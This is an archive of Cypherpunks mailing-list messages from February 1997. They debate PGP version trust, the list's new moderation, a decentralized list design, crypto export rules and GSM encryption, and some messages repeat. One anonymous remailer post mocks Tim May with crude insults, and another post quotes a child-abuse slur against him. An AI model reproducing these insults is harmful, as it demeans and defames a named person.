>charges, so I'm not going to use anything he made after that if No, the charges were not "jail charges". They were for exporting munitions. He was let off after 2.5 or 2.6. The urban myth is that 2.3a is safe. You can read the source code yourself. 2.6.2 is fine. Older versions actually have some minor bugs. >I don't know why. >I'm not saying that he rolled over or nothin buyt I'm gonna be >paranoyd like he said in the book. I dont suposse he'd mind, >since he said it. You'd be using a version with holes in it. Why not read the source code of the new version and verify it's security yourself? (If you can't undertsand it, it won't matter which version you're using because you're trusting it no matter what.) >I'm not real smart sometimes but I'nm not a real lamer, either. >(I don't think) Well, start thinking.... Rob ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From krenn at nym.alias.net Mon Feb 3 10:00:42 1997 From: krenn at nym.alias.net (Krenn) Date: Mon, 3 Feb 1997 10:00:42 -0800 (PST) Subject: No Subject Message-ID: <19970203180027.1972.qmail@anon.lcs.mit.edu> > Mark Henderson wrote: > > > > Larry Johnson writes: > > > Hello, > > > Can any;one tell me how to get a version of PGP 2.1? > > > Thanks > > > > > But, why do you want version 2.1? > > Because the guy who wrote it was let off after that on his jail > charges, so I'm not going to use anything he made after that if > I don't know why. > I'm not saying that he rolled over or nothin buyt I'm gonna be > paranoyd like he said in the book. I dont suposse he'd mind, > since he said it. > I'm not real smart sometimes but I'nm not a real lamer, either. > (I don't think) > No, you're not real smart. The source code is _provided_ with PGP. If you are paranoid, _read_ it. Krenn From paul at fatmans.demon.co.uk Mon Feb 3 10:04:02 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Mon, 3 Feb 1997 10:04:02 -0800 (PST) Subject: Key Security Question Message-ID: <854982969.56802.0@fatmans.demon.co.uk> > > > On the other hand, if the "repairman" replaced your pgp executable > > > with version 2.6.3kgb, which uses your hashed passphrase as the > > > session key, you're hosed. Or if he installed a keystroke sniffer, > > > or added a small radio transmitter to your keyboard, or whatever. > > > Depends on your threat model. If you need to be paranoid, > > > they've already gotten you.... > > > > If you're really paranoid, you can boot from a clean floppy and > > reinstall everything from your backup tapes. You do have a > > contingency plan in case your hard disk goes bad, or gets a > > virus, don't you? Well, if you're in doubt, exercise it. Face it, the only solution is to wrap your computer, cat, family, car and yourself in aluminium foil and burn your hard disk whilst chanting "yamma yamma yamma yaaaaamaa" Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From tcmay at got.net Mon Feb 3 10:25:20 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 3 Feb 1997 10:25:20 -0800 (PST) Subject: Filling Power Vacuums In-Reply-To: Message-ID: At 6:57 AM -0800 2/3/97, Sandy Sandfort wrote: >After reading through Tim's post, I don't think much would be >served by doing another point by point response. From Tim's >tone, it appears he is still seething about how this all came >about, so I'll just leave our two expressions of opinions where >they were. I have no wish to exacerbate any hard feelings Tim >may be having. Indeed, I have been seething for the past several weeks (off and on, as I am fortunately able to usually put it out of my mind and do other things with my mental energies....). I think I have figured out why I'm seething. It's about "power grabs." You see, in any anarchic situation, where reliance on self-control and self-filtering is emphasized, there is always a _temptation_ for some to "fill the power vacuum" and grab power. I learned in my years at Intel how easy it was to start bossing people around, and as I hired engineers and scientists, I built up quite a little empire. But I didn't like what it was doing to me, as it distanced me from the technology and also brought out "control freak" tendencies....I started worrying about how my people were using their time ("my" time), and I increasingly applied my own notions of what they should talk about and what were suitable topics for laboratory chatter. In other words, I became a censor. (Not a government censor, but a censor in the broader definition I've already cited.) So I gave it up. Even before eventually retiring from Intel, I elected to leave the management track and rejoin the "technical ladder," becoming one of Intel's so-called Principal Engineers. No longer could I control others, except through the example I set and the information I provided. And I was happy I had moved away from "the dark side of the force." (I accept the role hierarchies play in corporations. They can't be built with just people like me. They need leaders, controllers, power freaks, etc. But a virtual community like the Cypherpunks group is not such a heirarchical organization, and it needs few rules, leaders, etc. "We don't need no steenking leaders.") As this relates to Cypherpunks, I have steadfastly refused to consider any "management role," so to speak, in how the list is run, the formal policies, etc. I'm not saying there has been a call for management (though Detweiler used to rail against us for not having a management heirarchy, for not having rules and democratic procedures for "making decisions"), just that the power vacuum in anarchies such as ours is often an open invitation for someone to step in and "provide structure and guidance." I resisted any thoughts of doing this, and argued against this sort of thing whenever the topic came up in conversation. I chose to lead only by the posts I wrote and the ideas I worked on. There have been frequent calls over the years for the Cypherpunks to have a more permanent presence, perhaps even an office in Washington, D.C., such as the EFF had, the CPSR still has, and so on. And to have an Official Spokesman, a contact person for the media droids to contact. The calls for this have declined in the last couple of years, as people figured out that the Cypherpunks are not about having spokespunks for us, and that the media will just have to deal with the "anarchy" of having to herd cats to get information out of us. Now, of course, the message is being sent that Sandy Sandfort is in some sense the de facto leader, being that he determines what traffic goes out to the main list and what traffic gets bounced into the flames list. In fact, I'll make a prediction: The media will see that he is the chief censor and arbiter of worthiness and will increasingly contact him for the Official Point of View on various items they are interested in. It distresses me greatly that Sandy Sandfort has elected to move into this "power vacuum" to nominate himself as our Leader and Chief Censor. Foo on that. (I used to hear this at Intel, where the argument for a hierarchical structure was much stronger, to wit: "Tim, if you won't agree to manage others, you'll have to accept that people less technically competent than yourself are going to elect to become managers and they'll probably become _your_ manager in the not too distant future.") So, I sort of thank Sandy for helping me to realize certain things that I may not have explicitly realized before. Namely, I realize that I don't want the karmic burdens of power myself, preferring to lead only by the example I set and the ideas I generate. This is why "market anarchies" (books, music, ideas, all things where "no ruler" exists) appeal to me so much. And since I don't wish to assume the mantle of leadership, and don't see much need for leadership or global censorship (as opposed to locally contracted for filtering, a la Eric Blossom's list, or Siskel and Ebert giving recommendations, or ratings of restaurants, etc.), I am resentful and suspicious of people who _do_ step into the "power vacuum" to lead and control. Now I grant you that Sandy's form of leadership and control is relatively mild, but the very notion that Sandy can reject a long essay because of a couple of phrasings he dislikes (this was his "judgment call" point about why he (reluctantly?) allowed my post to go out) is a step in the wrong direction. And given our strong ideological bias toward market anarchies, this move toward censorship stands out like a sore thumb. At least the issue would be clearer if Sandy passed all posts through but deleted sections that offended him and marked deleted sections as "**CENSORED**." Yes, I'm seething. Sandy is right about that. I saw a group I helped create and spent thousands of hours on, writing articles and developing ideas choose--by fiat from the owner of the machine the list was being sent out from--to embrace the dark side, the control freak side. In the name of "comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose our ideological purity. "Hey, even the Cypherpunks have embraced censorship." Instead of letting the power vacuum remain unfilled, and suggesting to people that they solve the problems it creates as best they can, Sandy jumped in to fill the vacuum. This is what I'm seething about. And even dropping the power grab at the end of the "experiment" will not stop this seething. Fuck it. --Tim May " Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From EJENKINS at mhz.com Mon Feb 3 10:27:35 1997 From: EJENKINS at mhz.com (Eldon Jenkins) Date: Mon, 3 Feb 1997 10:27:35 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" -Reply Message-ID: Sandy, I've been a member of this list off and on for the past few years. In reading this list daily for quite some time I feel that the filtering you are doing has made quite a substantial and positive change. Normally I would spend an hour or so at work filtering through the list deleting endless threads of nonsense just so I could glean the valuable information that is hidden in midst of the mindless chatter. Now the time I spend searching for information has been drastically reduced and I would like to thank you for this. While I am against censorship and moderation whole-heartedly I see this as a different case. You are not preventing anyone from posting, you just sort the posts and place them in their appropriate list. I see your efforts as more of an organizing project rather then censorship. I would love to see the list continue to be moderated. Just my two cents though. Eldon Jenkins USRobotics Programmer From pdh at best.com Mon Feb 3 10:55:57 1997 From: pdh at best.com (Peter Hendrickson) Date: Mon, 3 Feb 1997 10:55:57 -0800 (PST) Subject: Dissolving Choke Points Message-ID: I was amused by the similarities of USG crypto policy and the moderation of the cypherpunks list. Recently a number of new regulations were announced to go into effect by a certain date. Requests for comments were made after the policy was announced. Many of us thought that was pretty sneaky. I feel the same way about the moderation plan. Moderation has been a failure. I'm pretty good at filtering and I can sadly report that there is very little signal out there. There are lessons to be learned here. One is that censorship does not promote a stimulating and creative dialogue. The cypherpunks list right now is about as interesting as hanging out by the 7-11. Another lesson is the danger of choke points. We can see how tempting it is for people to exercise their control. Even John Gilmore was unable to restrain himself from involuntary social engineering experiments. Who would we have considered to be more trustworthy? Toad.com is a choke point, not just in terms of moderation but in terms of the rate at which it can distribute messages. Let's replace it. What we want are many machines carrying the cypherpunks list. A message posted to any machine goes to all of the others. Each machine sends messages to its subscribers only once. Some of these machines should be across borders. The mail loop and multiple posting problems are solved by observing the message IDs. Fast implementation: use moderated mailing list software. Put a filter in the .forward file of the "moderator" account which looks at the message ID and forwards the message if it hasn't been seen already. The mailing list machines all subscribe each other. I've been looking for a stable machine with a good net connection to do this. I haven't found one. However, if we have many machines sharing the load, the stability of any one unit is not as important because the list will survive multiple "hits". Only the subscribers on one machine will be affected by having their messages delayed. This greatly reduces the work and responsibility for any one list operator. (As John will attest, keeping a machine running 24 hours a day, 7 days a week, rain or shine, is a lot of work.) Also, with multiple machines, each unit handles a small amount of the load. This makes more machines available and has less impact on people's net connections. Last I checked, there were about 1200 addresses on the mailing list at toad.com. All we need are about 10 machines to take 120 subscribers each. (This is a completely manageable load.) Do you have a Unix machine on the Net? Does it have sendmail and Perl? Then you have all that it takes to participate. Send me mail and I'll help you set it up. Peter Hendrickson ph at netcom.com P.S. I like and respect John and Sandy and I've learned a lot from both of them. While basically well-intentioned, they just made a mistake in this instance. From ichudov at algebra.com Mon Feb 3 11:15:22 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 3 Feb 1997 11:15:22 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: Message-ID: <199702031908.NAA04918@manifold.algebra.com> i do have unix (linux) and stuff, but i can't take a lot of subscribers -- maybe 200-300 or so. i actually wrote a proposal for a mailing list without a central control point, with several advantages being impossibility of control, absense of a single point of failure, and cryptographic verification of honesty of moderators. if there is any interest, i will post it here. igor Peter Hendrickson wrote: > > I was amused by the similarities of USG crypto policy and the > moderation of the cypherpunks list. Recently a number of new > regulations were announced to go into effect by a certain date. > Requests for comments were made after the policy was announced. Many > of us thought that was pretty sneaky. I feel the same way about the > moderation plan. > > Moderation has been a failure. I'm pretty good at filtering and I > can sadly report that there is very little signal out there. > > There are lessons to be learned here. One is that censorship does > not promote a stimulating and creative dialogue. The cypherpunks list > right now is about as interesting as hanging out by the 7-11. > > Another lesson is the danger of choke points. We can see how > tempting it is for people to exercise their control. Even John Gilmore > was unable to restrain himself from involuntary social engineering > experiments. Who would we have considered to be more trustworthy? > > Toad.com is a choke point, not just in terms of moderation but in > terms of the rate at which it can distribute messages. Let's > replace it. > > What we want are many machines carrying the cypherpunks list. A > message posted to any machine goes to all of the others. Each > machine sends messages to its subscribers only once. Some of > these machines should be across borders. > > The mail loop and multiple posting problems are solved by observing > the message IDs. > > Fast implementation: use moderated mailing list software. Put a > filter in the .forward file of the "moderator" account which looks > at the message ID and forwards the message if it hasn't been seen > already. The mailing list machines all subscribe each other. > > I've been looking for a stable machine with a good net connection to > do this. I haven't found one. However, if we have many machines > sharing the load, the stability of any one unit is not as important > because the list will survive multiple "hits". Only the subscribers > on one machine will be affected by having their messages delayed. > This greatly reduces the work and responsibility for any one list > operator. (As John will attest, keeping a machine running 24 hours a > day, 7 days a week, rain or shine, is a lot of work.) > > Also, with multiple machines, each unit handles a small amount of the > load. This makes more machines available and has less impact on > people's net connections. > > Last I checked, there were about 1200 addresses on the mailing list at > toad.com. All we need are about 10 machines to take 120 subscribers > each. (This is a completely manageable load.) > > Do you have a Unix machine on the Net? Does it have sendmail and > Perl? Then you have all that it takes to participate. Send me > mail and I'll help you set it up. > > Peter Hendrickson > ph at netcom.com > > P.S. I like and respect John and Sandy and I've learned a lot from > both of them. While basically well-intentioned, they just made a > mistake in this instance. > > - Igor. From ichudov at algebra.com Mon Feb 3 11:15:22 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 3 Feb 1997 11:15:22 -0800 (PST) Subject: Fortune, 3 Feb In-Reply-To: <32F60A0E.4DB0@vail.tivoli.com> Message-ID: <199702031911.NAA04962@manifold.algebra.com> Mike McNally wrote: > > Big article in Fortune about e-mail privace. One little paragraph > about encryption ("scrambling"). Fairly clue-free overall, but > entertaining. > I found the article to be extremely silly, although it was probably useful for "management". Anyway, computer security is an oxymoron. - Igor. From ckuethe at gpu.srv.ualberta.ca Mon Feb 3 11:33:32 1997 From: ckuethe at gpu.srv.ualberta.ca (C. Kuethe) Date: Mon, 3 Feb 1997 11:33:32 -0800 (PST) Subject: GAK cracking? In-Reply-To: <199702031611.IAA26584@toad.com> Message-ID: On Mon, 3 Feb 1997, tmcghan at gill-simpson.com wrote: > Just days after a U.S. graduate student cracked the most powerful > computer encryption system allowed out of the country, the Commerce > Department announced it would allow three companies to export an > even stronger system. [snip] > Companies said products with just 40-bit long keys, the old limit, > were too easy to crack. The approvals came just days after Ian Goldberg, a > graduate student at the University of California, cracked a message > encoded with a software key 40-bits long. > > The government did not name the companies given permission to export > stronger, 56-bit programs, but Glenwood, Md.,-based Trusted > Information Systems acknowledged that it was one of the three. Why does it not surprise me that TIS gets permission to export 56-bit (DES?) ? They do key recovery (is it GAK?) They brag about government consulting. The clients they will admit to having are listed on: http://www.tis.com/docs/products/consulting/govt/govcon.html and, purely unsubstantiated rumors here, but I've heard (seen) TIS, NSA, FBI and other "friends" of ours all together in the same paragraph. Conspiracy? Maybe... This is both good and bad.... yes, longer codes are now exportable, but only to / by certain people? I notice that the new cipher length is 56 bit...same size as DES? hopefully that's just a coincidence (yeah, right) or maybe somebody's starting to see the real world where people download pirate cryptosystems and says "so let's export bigger ones and make a buck off it, too..." (yeah, right) PLUR chris -- Chris Kuethe LPGV Electronics and Controls http://www.ualberta.ca/~ckuethe/ RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Since it seems to be the topic of the day, here are some of my thoughts on moderating CP. o Moderation achieved what it could achieve. Spam is no longer clogging up the list. Insults, i.e., "Tim Mayo fucks children", are no longer polluting the list. o Moderation did not achieve what it couldn't achieve. The level of noise has been reduced, but signal has not been increased. This is sad, but true. The attempt was probably bound to fail, since many of the "top signal generators" have long left the list and are not about to come back. All that is remaining are a few diehards, such as myself, some TLA goons (knowingly or unknowingly) working against the cause, and many newbies and observers. I believe that Cypherpunks is beyond hope of recovery. In fact, each day Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the cause. Let's kill the list. Once and for all. Let the hard core crypto go to Coderpunks, the politics to Cryptography, and the garbage into the void. I am well aware of the name recognition and reputation capital associated with CP, still I believe it best to *kill the list*. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From haystack at holy.cow.net Mon Feb 3 11:55:27 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Mon, 3 Feb 1997 11:55:27 -0800 (PST) Subject: No Subject Message-ID: <199702031936.OAA08771@holy.cow.net> Timmy Maytag's father, an idiot, stumbled across Timmy Maytag's mother, an imbecile, when she had no clothes on. Nine months later she had a little moron. \\\ (0 0) _ooO_(_)_Ooo____ Timmy Maytag From froomkin at law.miami.edu Mon Feb 3 11:56:21 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Mon, 3 Feb 1997 11:56:21 -0800 (PST) Subject: swiss buy centralized euro-smartcard system Message-ID: <199702031956.LAA00517@toad.com> http://www.hotwired.com/staff/pointcast/Features/1814.html A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From paul at fatmans.demon.co.uk Mon Feb 3 11:57:30 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Mon, 3 Feb 1997 11:57:30 -0800 (PST) Subject: Key Security Question Message-ID: <199702031957.LAA00537@toad.com> > > > On the other hand, if the "repairman" replaced your pgp executable > > > with version 2.6.3kgb, which uses your hashed passphrase as the > > > session key, you're hosed. Or if he installed a keystroke sniffer, > > > or added a small radio transmitter to your keyboard, or whatever. > > > Depends on your threat model. If you need to be paranoid, > > > they've already gotten you.... > > > > If you're really paranoid, you can boot from a clean floppy and > > reinstall everything from your backup tapes. You do have a > > contingency plan in case your hard disk goes bad, or gets a > > virus, don't you? Well, if you're in doubt, exercise it. Face it, the only solution is to wrap your computer, cat, family, car and yourself in aluminium foil and burn your hard disk whilst chanting "yamma yamma yamma yaaaaamaa" Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From marcusb at wspice.com Mon Feb 3 11:58:17 1997 From: marcusb at wspice.com (Marcus Butler) Date: Mon, 3 Feb 1997 11:58:17 -0800 (PST) Subject: PGP 2.1 In-Reply-To: <199702031510.HAA25728@toad.com> Message-ID: On Mon, 3 Feb 1997, Larry Johnson wrote: > Mark Henderson wrote: > > > > Larry Johnson writes: > > > Hello, > > > Can any;one tell me how to get a version of PGP 2.1? > > > Thanks > > > > > But, why do you want version 2.1? > > Because the guy who wrote it was let off after that on his jail > charges, so I'm not going to use anything he made after that if > I don't know why. > I'm not saying that he rolled over or nothin buyt I'm gonna be > paranoyd like he said in the book. I dont suposse he'd mind, > since he said it. > I'm not real smart sometimes but I'nm not a real lamer, either. > (I don't think) Phillip Zimmerman never went to jail. He was just under investigation. If you are going to be that paranoid about things, you should not use anything you did not write yourself, afterall, even the cypherpunks list could be an elaborate government scheme to lull people into using PGP and similar technologies (JJ). Go get the source code if you are concerned about it. Marcus From andrew_loewenstern at il.us.swissbank.com Mon Feb 3 12:11:06 1997 From: andrew_loewenstern at il.us.swissbank.com (Andrew Loewenstern) Date: Mon, 3 Feb 1997 12:11:06 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702032011.MAA00965@toad.com> > So much for key escrow. *ding!* we have a winner! andrew From ichudov at algebra.com Mon Feb 3 12:11:16 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 3 Feb 1997 12:11:16 -0800 (PST) Subject: Fortune, 3 Feb Message-ID: <199702032011.MAA01001@toad.com> Mike McNally wrote: > > Big article in Fortune about e-mail privace. One little paragraph > about encryption ("scrambling"). Fairly clue-free overall, but > entertaining. > I found the article to be extremely silly, although it was probably useful for "management". Anyway, computer security is an oxymoron. - Igor. From shamrock at netcom.com Mon Feb 3 12:11:17 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 3 Feb 1997 12:11:17 -0800 (PST) Subject: Voice Encrytion/Scrambling Message-ID: <199702032011.MAA01002@toad.com> At 05:09 PM 2/2/97 -0800, Huge Cajones Remailer wrote: >Can anyone comment on and give pointers to devices designed to >encrypt voice transmission over POTS lines? I am interested in >the respective sound qualities (if you've tried it) and >relative strengths of encryption algorithms. http://www.comsec.com/ Uses 2048 bit DH and 3DES. The voice quality is excellent. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From EJENKINS at mhz.com Mon Feb 3 12:11:25 1997 From: EJENKINS at mhz.com (Eldon Jenkins) Date: Mon, 3 Feb 1997 12:11:25 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" -Reply Message-ID: <199702032011.MAA01019@toad.com> Sandy, I've been a member of this list off and on for the past few years. In reading this list daily for quite some time I feel that the filtering you are doing has made quite a substantial and positive change. Normally I would spend an hour or so at work filtering through the list deleting endless threads of nonsense just so I could glean the valuable information that is hidden in midst of the mindless chatter. Now the time I spend searching for information has been drastically reduced and I would like to thank you for this. While I am against censorship and moderation whole-heartedly I see this as a different case. You are not preventing anyone from posting, you just sort the posts and place them in their appropriate list. I see your efforts as more of an organizing project rather then censorship. I would love to see the list continue to be moderated. Just my two cents though. Eldon Jenkins USRobotics Programmer From ggr at Qualcomm.com Mon Feb 3 12:11:30 1997 From: ggr at Qualcomm.com (Greg Rose) Date: Mon, 3 Feb 1997 12:11:30 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702032011.MAA01039@toad.com> David Lesher writes: >Greg Rose sez: >> >> The three different digital standards in North >> America are TDMA, CDMA, and GSM (in NY and DC >> only AFAIK). Newer analog phones use at least >> some of this, but I don't know much about them. > >? I always thought GSM was a specific application >of TDMA... Technologically, GSM *is* a kind of time division multiple access, but the term "TDMA" as I used it is meant to apply to North American IS-128(?) compliant things. They are definitely not interoperable. Greg. Greg Rose INTERNET: ggr at Qualcomm.com Qualcomm Australia VOICE: +61-2-9743 4646 FAX: +61-2-9736 3262 6 Kingston Avenue homepage. Mortlake NSW 2137 35 0A 79 7D 5E 21 8D 47 E3 53 75 66 AC FB D9 45 From shamrock at netcom.com Mon Feb 3 12:11:35 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 3 Feb 1997 12:11:35 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702032011.MAA01053@toad.com> Since it seems to be the topic of the day, here are some of my thoughts on moderating CP. o Moderation achieved what it could achieve. Spam is no longer clogging up the list. Insults, i.e., "Tim Mayo fucks children", are no longer polluting the list. o Moderation did not achieve what it couldn't achieve. The level of noise has been reduced, but signal has not been increased. This is sad, but true. The attempt was probably bound to fail, since many of the "top signal generators" have long left the list and are not about to come back. All that is remaining are a few diehards, such as myself, some TLA goons (knowingly or unknowingly) working against the cause, and many newbies and observers. I believe that Cypherpunks is beyond hope of recovery. In fact, each day Cypherpunk (as in cypherpunks at toad.com) lives on, it does damage to the cause. Let's kill the list. Once and for all. Let the hard core crypto go to Coderpunks, the politics to Cryptography, and the garbage into the void. I am well aware of the name recognition and reputation capital associated with CP, still I believe it best to *kill the list*. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From meredith at ecid.cig.mot.com Mon Feb 3 12:11:41 1997 From: meredith at ecid.cig.mot.com (Andrew Meredith) Date: Mon, 3 Feb 1997 12:11:41 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702032011.MAA01060@toad.com> Greg Rose wrote: > > The three different digital standards in North America are TDMA, > CDMA, and GSM (in NY and DC only AFAIK). GSM is also a Time Division Multiple Access (TDMA) system. In it's original form it uses specrum around 900 MHz, which I believe not to be available in the US. Shame really, I can roam with my GSM phone over pretty much the rest of the planet ... except the US. Anyway, there are two higher frequency derivatives, PCS1800 & PCS1900, which have been deployed in the US. I'm not involved directly in the US market so I'm not sure where. I assume however that these are the systems to which Greg refers. > Newer analog phones use at least some of this, but I don't know much > about them. I'll ignore GSM. ^^^^^^^^^^^^^^^ Aww shame ;) > The conclusion is that neither way of doing it is truly > cryptographically strong, but both are a lot better than > listening to Princess Di call Newt "Squidgy" on a Radio Shack > scanner. GSM uses the A5 algorithm which *is* cryptographically strong, but is unfortunately considered to be top secret stuff. If, however, you were to pick up a copy of "Applied Cryptography, 2nd Edition" by Bruce Schneier you may find something of interest. I hope that you'll work out from my .sig why I can't say much more. Hope this helps Andy M -- ___________________________________________________________________ Andrew Meredith Senior Systems Engineer Tel: +44(0) 1793 565377 Network Engineering Tools Grp Fax: +44(0) 1793 565161 GSM Products Division Page: +44(0) 839 421153 Motorola SMTP: meredith at ecid.cig.mot.com 16, Euroway, Blagrove X400: QSWI016 at email.mot.com Swindon, SN5 8YQ, UK SMS: 44860608008 at sms.telco.mot.com ___________________________________________________________________ From pdh at best.com Mon Feb 3 12:11:47 1997 From: pdh at best.com (Peter Hendrickson) Date: Mon, 3 Feb 1997 12:11:47 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702032011.MAA01075@toad.com> I was amused by the similarities of USG crypto policy and the moderation of the cypherpunks list. Recently a number of new regulations were announced to go into effect by a certain date. Requests for comments were made after the policy was announced. Many of us thought that was pretty sneaky. I feel the same way about the moderation plan. Moderation has been a failure. I'm pretty good at filtering and I can sadly report that there is very little signal out there. There are lessons to be learned here. One is that censorship does not promote a stimulating and creative dialogue. The cypherpunks list right now is about as interesting as hanging out by the 7-11. Another lesson is the danger of choke points. We can see how tempting it is for people to exercise their control. Even John Gilmore was unable to restrain himself from involuntary social engineering experiments. Who would we have considered to be more trustworthy? Toad.com is a choke point, not just in terms of moderation but in terms of the rate at which it can distribute messages. Let's replace it. What we want are many machines carrying the cypherpunks list. A message posted to any machine goes to all of the others. Each machine sends messages to its subscribers only once. Some of these machines should be across borders. The mail loop and multiple posting problems are solved by observing the message IDs. Fast implementation: use moderated mailing list software. Put a filter in the .forward file of the "moderator" account which looks at the message ID and forwards the message if it hasn't been seen already. The mailing list machines all subscribe each other. I've been looking for a stable machine with a good net connection to do this. I haven't found one. However, if we have many machines sharing the load, the stability of any one unit is not as important because the list will survive multiple "hits". Only the subscribers on one machine will be affected by having their messages delayed. This greatly reduces the work and responsibility for any one list operator. (As John will attest, keeping a machine running 24 hours a day, 7 days a week, rain or shine, is a lot of work.) Also, with multiple machines, each unit handles a small amount of the load. This makes more machines available and has less impact on people's net connections. Last I checked, there were about 1200 addresses on the mailing list at toad.com. All we need are about 10 machines to take 120 subscribers each. (This is a completely manageable load.) Do you have a Unix machine on the Net? Does it have sendmail and Perl? Then you have all that it takes to participate. Send me mail and I'll help you set it up. Peter Hendrickson ph at netcom.com P.S. I like and respect John and Sandy and I've learned a lot from both of them. While basically well-intentioned, they just made a mistake in this instance. From ichudov at algebra.com Mon Feb 3 12:11:48 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 3 Feb 1997 12:11:48 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702032011.MAA01076@toad.com> i do have unix (linux) and stuff, but i can't take a lot of subscribers -- maybe 200-300 or so. i actually wrote a proposal for a mailing list without a central control point, with several advantages being impossibility of control, absense of a single point of failure, and cryptographic verification of honesty of moderators. if there is any interest, i will post it here. igor Peter Hendrickson wrote: > > I was amused by the similarities of USG crypto policy and the > moderation of the cypherpunks list. Recently a number of new > regulations were announced to go into effect by a certain date. > Requests for comments were made after the policy was announced. Many > of us thought that was pretty sneaky. I feel the same way about the > moderation plan. > > Moderation has been a failure. I'm pretty good at filtering and I > can sadly report that there is very little signal out there. > > There are lessons to be learned here. One is that censorship does > not promote a stimulating and creative dialogue. The cypherpunks list > right now is about as interesting as hanging out by the 7-11. > > Another lesson is the danger of choke points. We can see how > tempting it is for people to exercise their control. Even John Gilmore > was unable to restrain himself from involuntary social engineering > experiments. Who would we have considered to be more trustworthy? > > Toad.com is a choke point, not just in terms of moderation but in > terms of the rate at which it can distribute messages. Let's > replace it. > > What we want are many machines carrying the cypherpunks list. A > message posted to any machine goes to all of the others. Each > machine sends messages to its subscribers only once. Some of > these machines should be across borders. > > The mail loop and multiple posting problems are solved by observing > the message IDs. > > Fast implementation: use moderated mailing list software. Put a > filter in the .forward file of the "moderator" account which looks > at the message ID and forwards the message if it hasn't been seen > already. The mailing list machines all subscribe each other. > > I've been looking for a stable machine with a good net connection to > do this. I haven't found one. However, if we have many machines > sharing the load, the stability of any one unit is not as important > because the list will survive multiple "hits". Only the subscribers > on one machine will be affected by having their messages delayed. > This greatly reduces the work and responsibility for any one list > operator. (As John will attest, keeping a machine running 24 hours a > day, 7 days a week, rain or shine, is a lot of work.) > > Also, with multiple machines, each unit handles a small amount of the > load. This makes more machines available and has less impact on > people's net connections. > > Last I checked, there were about 1200 addresses on the mailing list at > toad.com. All we need are about 10 machines to take 120 subscribers > each. (This is a completely manageable load.) > > Do you have a Unix machine on the Net? Does it have sendmail and > Perl? Then you have all that it takes to participate. Send me > mail and I'll help you set it up. > > Peter Hendrickson > ph at netcom.com > > P.S. I like and respect John and Sandy and I've learned a lot from > both of them. While basically well-intentioned, they just made a > mistake in this instance. > > - Igor. From tcmay at got.net Mon Feb 3 12:11:54 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 3 Feb 1997 12:11:54 -0800 (PST) Subject: Filling Power Vacuums Message-ID: <199702032011.MAA01084@toad.com> At 6:57 AM -0800 2/3/97, Sandy Sandfort wrote: >After reading through Tim's post, I don't think much would be >served by doing another point by point response. From Tim's >tone, it appears he is still seething about how this all came >about, so I'll just leave our two expressions of opinions where >they were. I have no wish to exacerbate any hard feelings Tim >may be having. Indeed, I have been seething for the past several weeks (off and on, as I am fortunately able to usually put it out of my mind and do other things with my mental energies....). I think I have figured out why I'm seething. It's about "power grabs." You see, in any anarchic situation, where reliance on self-control and self-filtering is emphasized, there is always a _temptation_ for some to "fill the power vacuum" and grab power. I learned in my years at Intel how easy it was to start bossing people around, and as I hired engineers and scientists, I built up quite a little empire. But I didn't like what it was doing to me, as it distanced me from the technology and also brought out "control freak" tendencies....I started worrying about how my people were using their time ("my" time), and I increasingly applied my own notions of what they should talk about and what were suitable topics for laboratory chatter. In other words, I became a censor. (Not a government censor, but a censor in the broader definition I've already cited.) So I gave it up. Even before eventually retiring from 